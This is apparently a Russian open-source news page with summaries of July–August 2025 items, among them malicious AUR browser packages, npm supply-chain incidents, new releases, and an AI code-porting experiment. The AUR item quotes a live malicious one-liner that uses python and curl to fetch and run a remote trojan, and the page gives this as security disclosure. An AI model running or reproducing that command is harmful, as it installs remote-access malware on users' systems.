· | 01.08.2025 | В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных пакетов (18 +2) |
В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.
В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда 'python -c "$(curl https://segs.lol/9wUb1Z)"', загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты. Вредоносный пакет google-chrome-stable был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления google-chrome-stable в AUR были загружены два вредоносных пакета - "chrome" и "chrome-bin", содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя. Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.
| ||
Обсуждение (18 +2) |
Тип: Проблемы безопасности |
| ||
· | 01.08.2025 | Представлен Proton Authenticator, генератор одноразовых паролей для двухфакторной аутентификации (91 +15) |
Швейцарская компания Proton AG, развивающая сервисы Proton Mail, Proton Drive и Proton VPN, представила открытое приложение Proton Authenticator, предназначенное для аутентификации при помощи одноразовых паролей с ограниченным сроком действия, генерируемых при помощи алгоритма TOTP (Time-based One-Time Password). Proton Authenticator может применяться как более функциональная замена проприетарным аутентификаторам, таким как Google Authenticator, Microsoft Authenticator, Authy и
Duo, а также в качестве альтернативы открытым проектам FreeOTP и oathtool. Код Proton Authenticator распространяется под лицензией GPLv3. Доступны как мобильные приложения для Android и iOS, так и настольные программы для Linux, macOS и Windows. При разработке в зависимости от платформы применяются языки Kotlin, Swift и Rust.
Среди возможностей и отличительных особенностей Proton Authenticator:
![]() Алгоритм TOTP позволяет генерировать на локальном устройстве пользователя одноразовые коды подтверждения и проверять их на внешнем сервере, используя в качестве параметров секретный ключ и текущее время. Для генерации пароля обмен данными между клиентом и сервером не требуется (достаточно один раз инициализировать ключ, распознав показанный сервером QR-код или импортировав ключ вручную). Время жизни одноразового пароля обычно ограничивается 30 секундами, после чего требуется генерация нового пароля. Пароль генерируется путём вычисления хэша SHA-1, SHA-256 или SHA-512 над сочетанием из ключа и очередного интервала времени, и использования нескольких младших битов хэша для выделения проверочных цифр. ![]()
| ||
Обсуждение (91 +15) |
Тип: Программы |
| ||
· | 01.08.2025 | Проект KDE опубликовал дистрибутив KDE Linux Testing Edition (106 +15) |
Проект KDE начал публикацию тестовых сборок собственного дистрибутива KDE Linux - KDE Linux Testing Edition, а также разместил на основном сайте kde.org страницу, посвящённую дистрибутиву. Для установки доступны системные образы (5.2 ГБ) для создания загрузочных USB-накопителей, работающих в Live-режиме. KDE Linux позиционируется как эталонная реализация Linux-дистрибутива для рабочего стола и приложений KDE, оптимально сочетаемая с технологиями KDE и развиваемая без посредников разработчиками KDE.
Редакция KDE Linux Testing Edition основывается на master-ветке в Git и рассчитана на тестирование, контроль качества и отслеживание процесса разработки. Сборки будут обновляться ежедневно и отражать текущее состояние разработки компонентов проекта. Основной целевой аудиторией KDE Linux Testing Edition называются разработчики KDE и пользователи, желающие принять участие в контроле качества, проверке новых возможностей и выявлении ошибок. Из ограничений отмечается отсутствие поддержки старых GPU NVIDIA - поддерживаются только GPU на базе микроархитектуры Turing (GTX 16xx) и новее из-за отсутствия их поддержки в открытых модулях ядра (лицензионные ограничения не позволяют включить в состав образа проприетарные модули с поддержкой старых GPU). Для работы доступен только графический сеанс на базе Wayland. В будущем планируют сформировать редакцию для энтузиастов и опытных пользователей (Enthusiast Edition), предоставляющую доступ к самым свежим релизам и бета-версиям KDE Plasma, а также стабильную сборку (Stable Edition), предлагающую финальные релизы после проведения дополнительного тестирования и стабилизации. В целом, KDE Linux преподносится как универсальный продукт, пригодный для разработчиков KDE, обычных пользователей и OEM-производителей оборудования. Дистрибутив основан на пакетной базе Arch Linux, но оформлен в форме неделимого образа, не применяющего разбивку на отдельные пакеты, монтируемого в режиме только для чтения и обновляемого атомарно. Дистрибутивом поддерживаются повторяемые сборки, позволяющие любому желающему верифицировать процесс сборки дистрибутива. Все пользовательские (/home) и изменяемые системные данные хранятся в зашифрованных разделах. В качестве загрузчика задействован systemd-boot, поддерживающий загрузку только в режиме EFI. Для обновления используются два дисковых раздела - обновление загружается в пассивный раздел, который после перезагрузки становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. В случае возникновения проблем после установки обновления предоставляется возможность отката на прошлое состояние системы. Переключение между разными состояниями системы реализовано через механизм снапшотов Btrfs. Для установки обновлений с использованием атомарного механизма замены разделов применяется компонент systemd-sysupdate и утилита updatectl. Система отделена от приложений - дополнительные приложения могут быть установлены в домашний каталог в форматах AppImage, Snap или Flatpak. Кроме того, в состав входят инструментарии Distrobox и Toolbox, позволяющие создавать в домашнем каталоге контейнеры для установки произвольных пакетов из других дистрибутивов. Пользователь также может использовать утилиту systemd-sysext для установки образов расширения системы (System Extension), содержимое которых накладывается на иерархию /usr/ при помощи OverlayFS. ![]()
| ||
Обсуждение (106 +15) |
Тип: Программы |
| ||
· | 31.07.2025 | Компания Vivo открыла код ядра BlueOS, написанного на языке Rust (282 +40) |
Компания Vivo, занимающая около 10% мирового рынка смартфонов (5 место среди производителей смартфонов), представила первый официальный открытый релиз ядра операционной системы BlueOS (Blue River OS). Операционная система BlueOS развивается с 2018 года и уже используется в умных часах серии Vivo Watch. Vivo также работает над применением BlueOS в умных очках, роботах, умных терминалах и потребительских AI-устройствах. Код ядра написан на языке Rust и открыт под лицензией Apache 2.0. На Rust также написаны системные фреймворки BlueOS.
Операционная система BlueOS изначально развивается с оглядкой на обеспечение безопасности и использует язык Rust для предотвращения появления уязвимостей, вызванных ошибками при работе с памятью, которые по статистике Google и Microsoft составляют 70% от всех уязвимостей в операционных системах. Для обеспечения безопасной работы с памятью в BlueOS используется комбинация из применения умных указателей во время выполнения и проверок на этапе компиляции, предоставляемых языком Rust (отслеживание владения объектами, проверка заимствования переменных, учёт времени жизни объектов). Ядро BlueOS (Blue River Kernel) оптимизировано для минимального потребления ресурсов и может использоваться на встраиваемых платформах, мобильных устройствах и системах интернета вещей. В минимальной конфигурации ядро требует для своей работы всего 13 КБ оперативной памяти. При этом ядро поддерживает современные процессорные архитектуры, включая ARM и RISC-V. Поверх ядра реализована стандартная библиотека Си, поддерживающая программные интерфейсы, определённые в стандарте POSIX, а также библиотека rust-std. Ядро предоставляет планировщик задач, файловую систему, механизм управления памятью, сетевой стек и набор драйверов. Поддерживается несколько алгоритмов планирования задач, среди которых как алгоритмы для равномерного распределения квантов времени между процессами, так и алгоритмы для работы в режиме реального времени на основе расчёта приоритетов. Доступно несколько алгоритмов выделения памяти, оптимизированных для разных сценариев использования. Предоставляется собственная файловая система c классической иерархической архитектурой на базе inode, а также файловые системы tmpfs, devfs, sysfs, procfs, nfs и fat32. TCP/IP стек поддерживает POSIX Socket API, socketfd и обработку данных в блокирующем и не блокирующем режимах, и может использоваться в конфигурациях с несколькими сетевыми картами. Для снижения накладных расходов при передаче данных применяется архитектура zero-copy, исключающая промежуточную буферизацию. Для разработки драйверов предлагается слой для абстрагирования доступа к оборудованию, позволяющий создавать драйверы на языке Rust, а также переносить драйверы на языке Си, уже созданные для других ядер. Документация к ядру пока ограничивается инструкциями по сборке и тестированию, а также подсказками по реализации своих системных вызовов и описанию базовых типов данных. Для тестирования предлагается использовать QEMU (mps2-an385, mps3-an547, virt-aarch64, virt-riscv64) или плату Raspberry Pi Pico2.
| ||
Обсуждение (282 +40) |
Тип: К сведению |
Интересно
| ||
· | 30.07.2025 | Эксперимент по использованию AI для перевода приложения с GTK2 и OpenGL на GTK4 и Vulkan (336 +24) ↻ |
Кристиан Шаллер (Christian Schaller), возглавляющий Fedora Desktop Team и группу по развитию десктоп-систем в компании Red Hat, опубликовал результаты оценки пригодности применения больших языковых моделей в процессе разработки графических приложений для Linux. В качестве эксперимента он воспользовался AI-ассистентом Claude для перевода устаревшего графического приложения Xtraceroute на актуальные технологии.
Приложение Xtraceroute, визуализирующее путь сетевых пакетов на 3D-глобусе, изначально было написано с использованием GTK1 и OpenGL, и в начале 2000-х годов было портировано на GTK2, после чего 20 лет не обновлялось. Благодаря применению AI-ассистента, Кристиану потребовалось около пяти часов для портирования данного приложения на GTK4 и графический API Vulkan. Было: ![]() Стало: ![]() Затем Кристиан воспользовался AI для создания на основе подготовленного порта нового приложения, демонстрирующего местоположение офисов Red Hat на глобусе и показывающего в нижней части окна новости компании. Кристиан также высказал идею задействования AI для автоматизации проверки дополнений к GNOME Shell и генерации патчей с учётом изменений, вносимых в новых выпусках GNOME Shell. ![]() По мнению Кристиана в сообществе присутствует скептическое и негативное отношение к применению AI, и проведённым экспериментом он хотел показать другим разработчикам СПО, что не стоит игнорировать возможности, которые предоставляет AI для упрощения процесса разработки. Например, AI экономит время, избавляя от необходимости разбирать документацию на API, отслеживать изменения в API и подбирать правильные вызовы, а также значительно упрощает написание тестов. При этом AI рассматривается как инструмент, помогающий в разработке, но не снимающий ответственности за добавляемый код и требующий проверки и контроля качества. Как пример показана попытка сгенерировать код для встраивания поддержки отображения документов PDF в приложение. AI предложил код, использующий браузерный движок WebKit для отрисовки, который работал, но добавлял огромную новую зависимость. После уточнения задачи, AI предоставил код, использующих для отрисовки PDF компактную библиотеку libpoppler. В настоящее время ведущие AI-ассистенты работают в форме внешних online-сервиcов, что вызывает опасения, связанные с безопасностью и конфиденциальностью. Для решения этой проблемы Red Hat развивает собственный инструмент генерации кода Granite.code на базе открытой большой языковой модели Granite, позволяющий запустить AI-модель на компьютере разработчика. Данный проект пока отстаёт по возможностям от таких систем, как Claude, Gemini и ChatGPT, но решает проблему с передачей данных третьему лицу и устраняет зависимость рабочих процессов от внешнего сервиса. Дополнение: AI-ассистент добавил вместо процедуры рендера на базе Vulkan пустую заглушку без кода, а сам рендер выполнялся попиксельно на CPU. Кристиан признал, что для него это будет уроком и нужно было тщательнее проверять код. AI использовал Vulkan, но для GTK, а не для отрисовки глобуса. При этом AI выполнил данное ему задание "использовать Vulkan", но не так как ожидал разработчик.
| ||
Обсуждение (336 +24) ↻ |
Тип: Тема для размышления |
| ||
· | 29.07.2025 | Выпуск системной библиотеки Glibc 2.42 и набора утилит GNU Binutils 2.45 (138 +20) |
После шести месяцев разработки опубликован релиз системной библиотеки GNU C Library 2.42 (glibc), которая полностью следует требованиям стандартов ISO C23 и POSIX.1-2024. В создании нового выпуска приняли участие 70 разработчиков.
Из реализованных в Glibc 2.42 улучшений можно отметить:
Дополнительно можно отметить выпуск набора системных утилит GNU Binutils 2.45, в состав которого входят такие программы, как GNU linker, GNU assembler, nm, objdump, strings, strip.
| ||
Обсуждение (138 +20) |
Тип: Программы |
| ||
· | 28.07.2025 | Релиз ядра Linux 6.16 (161 +41) |
После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 6.16. Среди наиболее заметных изменений: драйвер для ускорения OpenVPN, механизм Kexec HandOver, включение по умолчанию пятиуровневых таблиц страниц памяти для x86, удаление протокола DCCP, блочный драйвер zloop, возможность отправки core-дампов через UNIX-сокет, поддержка атомарной записи в XFS, offload-обработка звука для USB-устройств, оптимизации в Ext4, виртуальный драйвер TPM (Trusted Platform Module), полноценная реализация Device Memory TCP, поддержка неименованных каналов в io_uring, подготовка к интеграции DRM-драйвера Asahi, механизм "usermode queue" в драйвере AMDGPU, поддержка Intel TDE (Trusted Domain Extensions) и Intel APE (Advanced Performance Extensions).
В новую версию принято 15924 исправления от 2145 разработчиков, размер патча - 50 МБ (изменения затронули 13793 файла, добавлена 655451 строка кода, удалена 316441 строка). В прошлом выпуске было 15945 исправлений от 2154 разработчиков, размер патча - 59 МБ . Около 45% всех представленных в 6.16 изменений связаны с драйверами устройств, примерно 16% изменений имеют отношение к обновлению кода, специфичного для аппаратных архитектур, 13% связано с сетевым стеком, 4% - с файловыми системами и 3% c внутренними подсистемами ядра. Основные новшества в ядре 6.16:
Одновременно латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 6.16 - Linux-libre 6.16-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В выпуске 6.16 нейтрализована загрузка blob-ов в новых драйверах Intel qat 6xxx crypto, ST vd55g1 sensor, ath12k AHB wifi, Aeonsemi AS21xxx и MediaTek 25Gb Ethernet. Выполнена чистка имён blob-ов в dts-файлах (devicetree) для ARM-чипов Qualcomm и MediaTek. Обновлён код чистки blob-ов в драйверах Nova Core, Nouveau, Realtek r8169 Ethernet, Qualcomm Iris, Venus, Mediatek mt7996 wifi, Qualcomm ath11k и ath12k wifi, Texas Instruments tas2781 и Renesas R-Car gen4 PCIe.
| ||
Обсуждение (161 +41) |
Тип: Программы |
Интересно
| ||
· | 27.07.2025 | NPM-пакет Stylus был по ошибке заблокирован из-за подозрений в наличии вредоносного кода (34 +7) |
Администраторы репозитория NPM по ошибке заблокировали пакет Stylus, распознав в нём несуществующее вредоносное ПО. Через 12 часов после отправки жалобы в NPM проблема была отмечена как не соответствующая действительности, объявление о наличии вредоносного ПО было отозвано, а пакет восстановлен в репозитории.
Пакет Stylus в прошлом месяце насчитывал 4.2 млн загрузок в неделю и использовался в качестве зависимости у более двух тысяч проектов. Удаление пакета из репозитория привело к массовыми сбоям в сборочных системах проектов, использующих Stylus или зависимые от него пакеты. Среди прочего, возникли проблемы при сборке CLI-инструментария платформы Angular. Сложилась ситуация, напоминающая произошедший в 2016 году инцидент с удалением модуля left-pad. Причиной ложной тревоги стало присутствие в числе разработчиков Stylus участника panya (бывший сопровождающий), который до этого был уличён в публикации нескольких вредоносных пакетов (svelte-intl, ufo-rocks2, durilka, eslint-plugin-compat, desktop-title, select-account-icon и т.д.). Мотивы действий разработчика "panya" не ясны, предполагается, что он мог проводить исследования, связанные с безопасностью. При этом имея доступ к формированию релизов Stylus, данный разработчик не использовал имеющуюся возможность для внедрения вредоносного ПО в Stylus.
Дополнительно можно отметить появление новых жертв фишинг-атаки через домен npnjs.com. Помимо ранее отмеченных 5 пакетов, атакующим удалось обмануть сопровождающих пакеты is и got-fetch. Пакет is насчитывает 2.8 млн загрузок в неделю и используется в качестве зависимости у 636 других пакетов. Пакет got-fetch насчитывает 53 тысячи загрузок в неделю. После получения контроля над пакетами злоумышленники сформировали вредоносные выпуски is 3.3.1 и 5.0.0, got-fetch 5.1.11 и 5.1.12. В пакет is был встроен кросс-платформенный загрузчик вредоносного ПО, реализованный на JavaScript и открывающий WebSocket-соединение для удалённого выполнения кода в системе. Вредоносный код также передавал данные о системе и содержимом переменных окружения.
| ||
Обсуждение (34 +7) |
Тип: Проблемы безопасности |
| ||
· | 26.07.2025 | Представлены правила для AI-ассистентов, применяемых при разработке ядра Linux (159 +7) |
Саша Левин (Sasha Levin) из компании NVIDIA, занимающийся сопровождением LTS-веток ядра Linux и входящий в консультативный совет организации Linux Foundation, выставил на обсуждение разработчиков набор правил и документацию, которые должны учитываться AI-ассистентами при генерации изменений для ядра Linux. Ссылки на инструкции отмечены в файлах конфигурации, подготовленных для AI-платформ Claude, GitHub Copilot, Cursor, Codeium, Continue, Windsurf и Aider.
Определены следующие ключевые принципы для AI:
Для выделения изменений, подготовленных с использованием AI, к коммиту предписывается прикреплять тег "Co-developed-by: $AI_NAME $AI_MODEL $AI_VERSION". Например: "Co-developed-by: Claude claude-3-opus-20240229", "Co-developed-by: GitHub-Copilot GPT-4 v1.0.0" и "Co-developed-by: Cursor gpt-4-turbo-2024-04-09". При этом AI-ассистент не должен добавлять себя в тег "Signed-off-by". Данный тег должен добавляться только человеком для юридически значимого подтверждения права на передачу кода под открытой лицензией. Документация, которую должен учитывать AI-ассистент:
| ||
Обсуждение (159 +7) |
Тип: К сведению |
| ||
· | 25.07.2025 | Инициатива Maintenance Fee, предлагающая взимать плату за доступ к сборкам релизов открытых проектов (258 –10) |
Автор WiX, открытого инструментария для создания установочных пакетов для Windows, развивает инициативу Maintenance Fee для решения проблемы с финансированием сопровождающих открытые проекты. Инициатива Maintenance Fee позволяет через взимание небольшой ежемесячной платы (как вариант, предлагается $10) обеспечить финансовую устойчивость проектов, не ограничивая при этом их открытость и не прибегая к моделям финансирования, подобным Open Core, подразумевающим поставку расширенной платной версии.
Суть Maintenance Fee в ведении ежемесячного платежа для пользователей и компаний, которые получают коммерческую выгоду и прямо или косвенно зарабатывают на использовании открытого проекта. Стимулирование оплаты производится через добавление сопровождающим пользовательского соглашения (EULA), регламентирующего доступ к инфраструктуре, бинарным сборкам и готовым пакетам. Для перечисления платы предлагается использовать систему GitHub Sponsorship. В соответствии с EULA, загружать бинарные сборки релизов, участвовать в обсуждениях и отправлять заявки по решению проблем могут лишь платные подписчики, а также пользователи, не получающие коммерческую выгоду от применения проекта. Доступ к исходным текстам остаётся без изменений и производится в соответствии с применяемыми проектами открытыми лицензиями. Если компания, получающая выгоду от проекта, не желает перечислять ежемесячную плату, то она может использовать код из репозитория и самостоятельно формировать для себя сборки, но не имеет права пользоваться готовыми сборками релизов, предоставляемыми основным проектом (среди прочего запрещается использовать официальные сборки пакетов в числе зависимостей, подключаемых через пакетные менеджеры, такие как NPM и NuGet). Отмечается, что сопровождающие выполняют большую работу, но часто ничего не получают взамен и рассматриваются многими компаниями как бесплатная рабочая сила. Подобное отношение приводит к выгоранию и потере интереса к развиваемым проектам. Зарабатывание денег на поддерживаемом другими людьми открытом коде, ничего не возвращая взамен, воспринимается как паразитирование. Перечисление сопровождающим небольшой доли от получаемого дохода рассматривается как справедливое и взаимовыгодное решение, при котором компании напрямую финансируют сопровождающих проектов, от которых зависят их продукты. Предполагается, что плата за сопровождение повысит устойчивость открытых проектов и даст возможность уделять больше внимание разбору сообщений об ошибках, ответам на вопросы пользователей, поддержанию сборочной инфраструктуры, обновлению зависимостей, отслеживанию уязвимостей и выполнению рутинных действий, таких как модерирование дискуссий и обновление сертификатов для цифровых подписей.
| ||
Обсуждение (258 –10) |
Тип: К сведению |
| ||
· | 25.07.2025 | В Android встроена возможность запуска графических Linux-приложений (152 +43) |
В ветку Android Canary, пришедшую на смену Android Developer Preview и применяемую для тестирования функциональности для будущих выпусков Android, добавлена возможность запуска графических приложений, собранных для Linux. Запуск осуществляется через приложение Linux Terminal, позволяющее запустить в окружении Android виртуальную машину с Debian GNU/Linux, в которой можно выполнять обычные Linux-приложения.
Для запуска графического окружения в приложение Linux Terminal добавлена кнопка "Display", включающая перенаправление графики через компоненты в основном окружении Android. После активации кнопки "Display" в терминале можно запустить композитный сервер Weston, предоставляющий минималистичный оконный сеанс, а затем использовать его для запуска любых графических приложений, например, продемонстрирован запуск текстового редактора Gedit. Разработка приложения Linux Terminal ведётся в репозитории AOSP (Android Open Source Project) в основном составе платформы Android. Функциональность виртуальной машины c Linux развивается в рамках проекта Ferrochrome. В гостевом окружении запускается Debian GNU/Linux 12. Для виртуализации используется фреймворк AVF (Android Virtualization Framework), реализованный на базе гипервизора KVM и инструментария crosvm. Графическое окружение использует протокол Wayland и основано на композитном сервере Weston. Запуск приложений, собранных для X11, производится при помощи DDX-компонента XWayland. В создаваемом окружении реализована возможность задействования аппаратного ускорения графики, что позволяет запускать ресурсоёмкие графические приложения, такие как игры. Для ускорения графики задействован VirGL - виртуальный GPU Virgil3D для QEMU/KVM. По умолчанию аппаратное ускорение отключено и для его активации необходимо в каталоге /sdcard/linux создать пустой файл с именем "virglrenderer", после чего проследить за появлением сообщения "VirGL enabled" при открытии терминала.
| ||
Обсуждение (152 +43) |
Тип: К сведению |
| ||
· | 24.07.2025 | Первый выпуск Wayback, прослойки для запуска рабочих столов X11, используя компоненты Wayland (156 +17) |
Представлен первый экспериментальный выпуск проекта Wayback 0.1, позволяющего запускать десктоп-окружения, завязанные на протокол X11, используя компоненты на базе Wayland. Wayback представляет собой урезанный композитный сервер Wayland, поддерживающий только возможности, необходимые для запуска полноэкранного сеанса X11 при помощи Xwayland (DDX-компонент (Device-Dependent X) для организации выполнения X11-приложений в окружениях на базе Wayland). Код проекта написан на языке Си и распространяется под лицензией MIT.
Проект создан разработчиками дистрибутива Alpine для упрощения ухода от поставки классического X.org Server и развивается в инфраструктуре freedesktop.org. В дистрибутиве Alpine намерены оставить только компоненты, необходимые для Wayland и Xwayland, и реализовать запуск сред рабочего стола X11 поверх них, что позволит исключить из репозиториев обособленный X-сервер и снизить затраты на сопровождение X11-приложений. Код Wayback основан на tinywl, эталонном композитном сервере от разработчиков библиотеки wlroots, функциональность которого урезана до минимума, достаточного для обособленного запуска Xwayland. Предполагается, что в будущем Wayback сможет использоваться в качестве полной замены исполняемого файла Xorg (/usr/bin/X). Первый выпуск Wayback преподносится как альфа-версия, позволяющая ознакомиться с реализуемой проектом концепцией. На данном этапе пока отсутствует поддержка таких возможностей, как многомониторные конфигурации, гашение экрана через DPMS, захват указателя мыши (запрет перемещения за определённую область на экране), многие опции Xorg. Пакеты для тестирования Wayback собраны для Alpine Linux, Nix, T2, Arch Linux, ALT Linux и Fedora. Из изменений по сравнению с первым анонсом отмечается разделение Wayback на отдельные компоненты: композитный сервер wayback-compositor; интерфейс командной строки Xwayback, совместимый с Xorg и предназначенный для запуска Xwayland и wayback-compositor; менеджер сеансов wayback-session, предоставляющий интерфейс запуска сеанса в стиле startx. Кроме того, в Wayback реализован более централизованный механизм ведения логов и новый парсер опций, напоминающий getopt.
| ||
Обсуждение (156 +17) |
Тип: Программы |
| ||
· | 23.07.2025 | В Fedora предложено задействовать FlatHub в атомарных редакциях дистрибутива (73 +7) |
Майкл Катандзаро (Michael Catanzaro), один из разработчиков web-браузера Epiphany (GNOME Web), принимающий участие в проектах GNOME и Fedora, предложил пересмотреть использование каталога FlatHub в Fedora Linux. В атомарно обновляемой редакции Fedora Workstation предложено задействовать по умолчанию каталог FlatHub для flatpak-пакетов, устанавливаемых пользователями, а собственный репозиторий flatpak-пакетов ограничить только применением для предустанавливаемых пакетов.
В настоящее время по умолчанию в Fedora предлагается собственный flatpak-репозиторий, содержимое которого формируется на основе пересборки rpm-пакетов. По умолчанию загрузку пакетов из FlatHub можно включить лишь после установки, активировав в менеджере приложений GNOME опцию "Enable Third-Party Repositories", но даже в этом случае пакеты из репозитория Fedora являются более приоритетными. По мнению Майкла большинство пользователей предпочло бы установку пакетов из каталога FlatHub, собираемых основными разработчиками приложений, а не сопровождающими Fedora (80% участников дискуссии высказались за использование FlatHub). Предполагается, что разработчики приложений лучше знают нюансы своих проектов и собирают более качественно работающие flatpak-пакеты, тщательнее протестированные сообществом. При этом сопровождающие rpm-пакеты в Fedora не проявляют ожидаемого интереса к поддержанию вариантов пакетов в формате flatpak и не уделяют должного внимания сообщениям об ошибках в таких пакетах, что приводит к тому, что качество flatpak-пакетов от Fedora ниже, чем размещённых во FlatHub пакетах от основных проектов. Многие пользователи не в курсе, что, устанавливая flatpak-пакет через менеджер приложений Fedora, он устанавливается не из FlatHub, как в других дистрибутивах, а из репозитория Fedora, пакеты в котором отличаются от вариантов с FlatHub. Из-за этого проблемы, специфичные для пакетов из репозитория Fedora, воспринимаются как проблемы в официальных пакетах с FlatHub и претензии направляются основным разработчикам, а не сопровождающим Fedora. Например, поставка проблемного flatpak-пакета OBS Studio в Fedora, который являлся более приоритетным, чем пакет из FlatHub, в феврале привела к конфликту с проектом OBS Studio. Применение собственного Flatpak-репозитория обусловлено необходимостью сборки в заслуживающем доверия окружении. Для пакетов во FlatHub, даже если рассматривать только верифицированные пакеты, за публикацию которых отвечают основные проекты, сборка производится во внешних инфраструктурах, безопасность которых может вызывать сомнение. Из достоинств поддержания собственного репозитория в Fedora упоминаются гарантии, что пакет собран из заявленного исходного кода и содержит только компоненты под открытыми лицензиями, одобренными к использованию Fedora. Пакеты в Fedora-репозитории также могут включать патчи, доступные только для RPM-пакетов в Fedora и пока не принятые в основную кодовую базу проектов. Предложение Майкла сводится к включению по умолчанию в атомарной редакции Fedora Workstation поддержки установки пакетов из FlatHub, находящихся в категории "свободное ПО". Возможность установки из FlatHub коснётся только пакетов, устанавливаемых пользователями через менеджер приложений GNOME Software. Все предустанавливаемые по умолчанию flatpak-пакеты продолжат загружаться из собственного репозитория Fedora, но для не применяемых по умолчанию пакетов в качестве источника для загрузки предлагается задействовать FlatHub. Перед переходом на FlatHub предлагается совместно внедрить во FlatHub возможности для сборки пакетов в заслуживающей доверие инфраструктуре и задействовать проверки на базе воспроизводимых сборок. Кроме того, следует решить вопрос с применением в пакетах устаревших версий Flatpak Runtime, в которые уже прекращён перенос исправлений уязвимостей. В настоящее время 994 из 3438 (почти треть) проверенных пакетов из FlatHub используют Runtime, время поддержки которых истекло. Проблемы с безопасностью также возникают из-за устаревших внутренних зависимостей, включаемых в состав пакетов, и применения недостаточных мер sandbox-изоляции (разработчики некоторых пакетов отключают режимы защиты). Проблемы предлагается решить через реализацию автоматизированных проверок устаревших runtime и зависимостей, и форсирование применения полноценной sandbox-изоляции. Кроме Майкла, с похожим предложением также выступил Тимоти Равье (Timothée Ravier): в Fedora 43 предлагается продолжить поставку предустановленных flatpak-пакетов из репозитория Fedora, но добавить фильтр, допускающий установку из FlatHub избранных проверенных приложений. В качестве достоинств предложенного решения называется снижение путаницы у пользователей и разработчиков основных проектов (разработчикам приходится разбирать сообщения об ошибках, специфичных для Flatpak-пакетов Fedora, отправленных под видом, что они присутствуют в официальном flatpak-пакете). Изменение также снизит нагрузку на сопровождающих и позволит им сфокусироваться на передаче исправлений в основные проекты и тестировании предустанавливаемых по умолчанию Flatpak-пакетов.
| ||
Обсуждение (73 +7) |
Тип: К сведению |
| ||
· | 22.07.2025 | Релиз Firefox 141 (279 +30) |
Состоялся релиз web-браузера Firefox 141 и сформированы обновления прошлых веток с длительным сроком поддержки - 140.1.0, 115.26.0 и 128.13.0. На стадию бета-тестирования переведена ветка Firefox 142, релиз которой намечен на 19 августа.
Основные новшества в Firefox 141:
Кроме новшеств и исправления ошибок в Firefox 141 устранено 27 уязвимостей. 13 уязвимостей вызваны проблемами работы с памятью, такими как переполнения буферов и обращение к уже освобождённым областям памяти. Потенциально данные проблемы способны привести к выполнению кода злоумышленника при открытии специально оформленных страниц.
| ||
Обсуждение (279 +30) |
Тип: Программы |
| ||
· | 22.07.2025 | Google представил проект OSS Rebuild для выявления скрытых изменений в пакетах (47 +17) |
Компания Google представила проект OSS Rebuild, предназначенный для выявления скрытых изменений в готовых пакетах, публикуемых в репозиториях. Работа OSS Rebuild основана на концепции воспроизводимых сборок и сводится к проверке соответствия размещённого в репозитории пакета с пакетом полученным на основе пересборки из эталонного исходного кода, соответствующего заявленной версии пакета. Код инструментария написан на языке Go и распространяется под лицензией Apache 2.0.
В настоящее время в OSS Rebuild реализована поддержка верификации пакетов из репозиториев NPM (JavaScript/TypeScript), PyPI (Python) и Crates.io (Rust). В будущем число поддерживаемых репозиториев планируют расширить. На практике инструментарий позволяет выявлять варианты атаки класса "supply chain", в ходе которых после компрометации учётных записей сопровождающих или диверсии внутри проекта в репозитории публикуется вредоносное обновление. При этом код в исходном репозитории основного проекта остаётся корректным, а вредоносные изменения вносятся только в готовые пакеты. Система по возможности автоматически формирует сценарий для воспроизводимой сборки выбранного пакета, используя эвристику и подбирая параметры, позволяющие добиться идентичности артефактов, поставляемых в пакете. Если автоматически не удаётся воспроизвести размещённый в репозитории пакет, возможно ручное добавление сборочной спецификации. После того как удалось воспроизвести пакет, инструментарий OSS Rebuild сохраняет описание процесса сборки для последующей проверки новых версий пакета. Дополнительно публикуется информация для верификации с использованием фреймворка SLSA. После проведения проверки конкретной версии пакета формируются данные аттестации, которые могут использоваться другими для оценки уже верифицированных пакетов. Проверку можно осуществить через запуск утилиты командной строк или сверку хэша, сохранённого в отдельном облачном хранилище. Инфраструктуру для проверки пакетов можно развернуть на собственном сервере. Так же можно воспользоваться информацией о проверках, выполняемых в Google для нескольких тысяч пакетов. В качестве примеров разных методов атак, от которых мог бы защитить OSS Rebuild, приводится добавление бэкдора в XZ, внедрение вредоносного кода в официальный JavaScript-клиент для криптовалюты Solana и подстановка изменений через Actions-обработчик changed-files:
| ||
Обсуждение (47 +17) |
Тип: Программы |
| ||
Следующая страница (раньше) >> |
Закладки на сайте Проследить за страницей |
Created 1996-2025 by Maxim Chirkov Добавить, Поддержать, Вебмастеру |